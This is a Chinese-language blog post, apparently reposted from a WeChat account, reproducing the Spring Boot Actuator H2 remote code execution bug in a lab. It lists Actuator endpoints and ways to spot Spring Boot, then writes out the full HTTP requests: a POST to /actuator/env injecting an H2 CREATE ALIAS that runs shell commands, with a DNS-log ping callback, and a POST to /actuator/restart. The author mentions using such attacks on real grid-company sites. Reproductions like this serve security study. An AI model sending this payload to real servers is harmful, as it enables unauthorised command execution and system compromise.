漏洞复现:Spring Boot Actuator H2 RCE

admin 2022年6月2日07:54:19安全文章评论12 views2002字阅读6分40秒阅读模式


漏洞复现:Spring Boot Actuator H2 RCE



我的实战经验当中,南网的系统中遇到Spring Boot框架的概率最高。每次遇到Spring Boot框架的站点时,经常日不下来,不知道是不是自己的利用姿势有问题,所以还是搭建环境复现一下,以证明自己的姿势没问题。
在和各位前辈、师傅们探讨Spring Boot框架的渗透方式时,得来的一个比较有效的信息就是,Spring Boot的Xstream反序列化漏洞出现的相对比较高频,而且也很好利用,危害性也高,后续会对此进行复现并记录。

复现环境搭建教程不赘述,已有师傅复现,如下
文章参考:https://www.o2oxy.cn/2656.html
项目地址:https://github.com/spaceraccoon/spring-boot-actuator-h2-rce




0x01 漏洞描述
Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

 
0x02 影响版本
// 默认未授权访问所有端点
Spring Boot < 1.5
// 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用
Spring Boot >= 1.5

 
0x03 漏洞利用

开始之前,要思考一个问题,如何判断目标站点是否使用Spring Boot框架。Spring Boot框架通常有两个特征点:

    1. 网站ico文件是一片绿叶

    2. 特有的报错信息“Whitelabel Error Page”

漏洞复现:Spring Boot Actuator H2 RCE


这是官方文档对于每个端点的功能描述


路径
描述

/autoconfig

提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过

/beans

描述应用程序上下文里全部的Bean,以及它们的关系

/env

获取全部环境属性

/configprops

描述配置属性(包含默认值)如何注入Bean

/dump

获取线程活动的快照

/health

报告应用程序的健康指标,这些值由HealthIndicator的实现类提供

/info

获取应用程序的定制信息,这些信息由info打头的属性提供

/mappings

描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系

/metrics

报告各种应用程序度量信息,比如内存用量和HTTP请求计数

/shutdown

关闭应用程序,要求endpoints.shutdown.enabled设置为true

/trace

提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)


Spring Boot 1.x版本的端口是在根URL下注册的,而Spring Boot 2.x版本的端口移至/actuator路径下,为此也专门特制了一份关于Spring Boot的目录字典。但是,在实战中遇到的情况却是端口路径可能存放于多级目录下,这就加大了利用的难度。

(1) 访问:http://192.168.100.133:8080/actuator


漏洞复现:Spring Boot Actuator H2 RCE

<Chrome浏览器视图>

漏洞复现:Spring Boot Actuator H2 RCE

<FireFox浏览器视图>


存在端点信息,接着发送如下POST包配置spring.datasource.hikari.connection-test-query的值。


POST /actuator/env HTTP/1.1Host: 192.168.100.133:8080Content-Type: application/jsonContent-Length: 389
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('ping gkbtcq.dnslog.cn');"}


漏洞复现:Spring Boot Actuator H2 RCE


漏洞复现:Spring Boot Actuator H2 RCE


发送完成后,查看/actuator/env信息


漏洞复现:Spring Boot Actuator H2 RCE


再向端点/actuator/restart发送POST请求,Payload如下:


POST /actuator/restart HTTP/1.1Host: 192.168.100.133:8080Content-Type: application/jsonContent-Length: 356
{}


漏洞复现:Spring Boot Actuator H2 RCE

漏洞复现:Spring Boot Actuator H2 RCE


重新启动成功,刷新DNSLog数据即可。


漏洞复现:Spring Boot Actuator H2 RCE


原文始发于微信公众号(Snaker独行者):漏洞复现:Spring Boot Actuator H2 RCE

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日07:54:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  漏洞复现:Spring Boot Actuator H2 RCE http://cn-sec.com/archives/947110.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: